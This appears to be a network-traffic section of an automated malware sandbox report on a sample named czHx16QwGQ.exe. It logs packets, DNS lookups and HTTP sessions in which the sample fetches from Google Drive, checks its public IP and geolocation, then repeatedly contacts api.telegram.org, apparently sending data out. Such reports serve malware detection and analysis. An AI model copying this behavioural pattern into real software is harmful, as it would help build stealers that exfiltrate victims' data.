Jan 10, 2025 23:39:18.724920034 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:18.725429058 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:18.728404999 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.729489088 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.733381033 CET	80	49941	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:18.733510017 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.734358072 CET	80	49953	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:18.734426975 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.734554052 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.739348888 CET	80	49953	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:19.379676104 CET	80	49953	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:19.380809069 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:19.380884886 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:19.381010056 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:19.381242037 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:19.381272078 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:19.425235987 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.013871908 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:20.015675068 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:20.015741110 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:20.015816927 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:20.015846968 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:20.369688034 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:20.369775057 CET	443	49959	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:20.370080948 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:20.370498896 CET	49959	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:20.374191046 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.375498056 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.383119106 CET	80	49953	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:20.383188009 CET	49953	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.383650064 CET	80	49965	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:20.383733988 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.383949995 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:20.390492916 CET	80	49965	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:21.011235952 CET	80	49965	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:21.012509108 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.012532949 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.012619019 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.012881041 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.012896061 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.066000938 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.646163940 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.647716045 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.647733927 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.647783995 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.647789001 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.953931093 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.954046965 CET	443	49971	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:21.954122066 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.954530001 CET	49971	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:21.957842112 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.958941936 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.962881088 CET	80	49965	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:21.962948084 CET	49965	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.963721037 CET	80	49977	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:21.963792086 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.963926077 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:21.968719959 CET	80	49977	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:22.602320910 CET	80	49977	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:22.603586912 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:22.603622913 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:22.603692055 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:22.603996992 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:22.604007006 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:22.644016981 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.223050117 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:23.224757910 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:23.224767923 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:23.224821091 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:23.224828959 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:23.463062048 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:23.463145971 CET	443	49983	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:23.463326931 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:23.463574886 CET	49983	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:23.466367006 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.467473984 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.471250057 CET	80	49977	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:23.471318007 CET	49977	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.472271919 CET	80	49989	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:23.472393036 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.472474098 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:23.477219105 CET	80	49989	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:24.118220091 CET	80	49989	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:24.119539022 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:24.119570017 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:24.119657040 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:24.120111942 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:24.120125055 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:24.159557104 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:24.737951994 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:24.739671946 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:24.739706039 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:24.739784956 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:24.739801884 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:25.033833981 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:25.034018040 CET	443	49995	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:25.034086943 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:25.034672022 CET	49995	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:25.037655115 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:25.038872957 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:25.044158936 CET	80	49989	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:25.044259071 CET	49989	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:25.045248032 CET	80	50002	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:25.045334101 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:25.045470953 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:25.051902056 CET	80	50002	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:25.674902916 CET	80	50002	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:25.676403999 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:25.676469088 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:25.676541090 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:25.676870108 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:25.676887989 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:25.722093105 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.298418045 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:26.300736904 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:26.300765038 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:26.301112890 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:26.301122904 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:26.604912996 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:26.604980946 CET	443	50007	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:26.605073929 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:26.605513096 CET	50007	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:26.624135017 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.626034975 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.629184008 CET	80	50002	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:26.629249096 CET	50002	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.630808115 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:26.630876064 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.631323099 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:26.636600018 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:27.263161898 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:27.264300108 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:27.264350891 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:27.264417887 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:27.264678955 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:27.264691114 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:27.315808058 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:27.880944014 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:27.882460117 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:27.882488966 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:27.882549047 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:27.882556915 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:28.114535093 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:28.114698887 CET	443	50010	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:28.114779949 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:28.115214109 CET	50010	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:28.118534088 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:28.119913101 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:28.123637915 CET	80	50009	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:28.123713970 CET	50009	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:28.124730110 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:28.124814987 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:28.124905109 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:28.129688978 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:28.780191898 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:28.781618118 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:28.781675100 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:28.781752110 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:28.782080889 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:28.782095909 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:28.831492901 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.422173023 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:29.424074888 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:29.424108028 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:29.424190998 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:29.424201012 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:29.654788971 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:29.654934883 CET	443	50012	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:29.655138969 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:29.655508041 CET	50012	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:29.658830881 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.659914017 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.663799047 CET	80	50011	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:29.664040089 CET	50011	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.664691925 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:29.664761066 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.664916039 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:29.669687033 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:30.321669102 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:30.323009968 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:30.323055029 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:30.323115110 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:30.323383093 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:30.323395967 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:30.362719059 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:30.936605930 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:30.938225985 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:30.938258886 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:30.938416004 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:30.938427925 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:31.151743889 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:31.151949883 CET	443	50014	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:31.152105093 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:31.152677059 CET	50014	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:31.156433105 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:31.157150030 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:31.161456108 CET	80	50013	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:31.161953926 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:31.162029028 CET	50013	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:31.162077904 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:31.162221909 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:31.166940928 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:31.818458080 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:31.819818974 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:31.819861889 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:31.819925070 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:31.820242882 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:31.820255041 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:31.862874031 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.438263893 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:32.440032005 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:32.440059900 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:32.440141916 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:32.440150023 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:32.720846891 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:32.720948935 CET	443	50016	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:32.721050978 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:32.721518040 CET	50016	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:32.725189924 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.726380110 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.730149031 CET	80	50015	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:32.730237007 CET	50015	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.731218100 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:32.731300116 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.731367111 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:32.736160040 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:33.374069929 CET	80	50017	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:33.425297976 CET	50017	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:36.317086935 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:36.317131996 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:36.317203999 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:36.317536116 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:36.317553043 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:36.936392069 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:36.938393116 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:36.938409090 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:36.938463926 CET	50018	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:36.938473940 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:37.230364084 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:37.230551004 CET	443	50018	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:37.230619907 CET	50018	443	192.168.2.8	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:38:47.142497063 CET	62334	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:38:47.149368048 CET	53	62334	1.1.1.1	192.168.2.8
Jan 10, 2025 23:38:48.217786074 CET	60595	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:38:48.224836111 CET	53	60595	1.1.1.1	192.168.2.8
Jan 10, 2025 23:38:52.749701977 CET	56621	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:38:52.756575108 CET	53	56621	1.1.1.1	192.168.2.8
Jan 10, 2025 23:38:54.223836899 CET	56751	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:38:54.231065035 CET	53	56751	1.1.1.1	192.168.2.8
Jan 10, 2025 23:39:00.793085098 CET	59205	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:39:00.799700975 CET	53	59205	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:38:47.142497063 CET	192.168.2.8	1.1.1.1	0x81c2	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:48.217786074 CET	192.168.2.8	1.1.1.1	0x3fd4	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.749701977 CET	192.168.2.8	1.1.1.1	0x6ff8	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.223836899 CET	192.168.2.8	1.1.1.1	0x1b57	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:39:00.793085098 CET	192.168.2.8	1.1.1.1	0xb943	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:38:47.149368048 CET	1.1.1.1	192.168.2.8	0x81c2	No error (0)	drive.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:48.224836111 CET	1.1.1.1	192.168.2.8	0x3fd4	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:52.756575108 CET	1.1.1.1	192.168.2.8	0x6ff8	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:38:54.231065035 CET	1.1.1.1	192.168.2.8	0x1b57	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:39:00.799700975 CET	1.1.1.1	192.168.2.8	0xb943	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49770	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:38:52.766634941 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:38:53.393935919 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:38:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:38:53.398046970 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:38:53.583914995 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:38:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:39:00.399024963 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:39:00.787436008 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:39:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49831	193.122.6.168	80	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:39:02.221731901 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
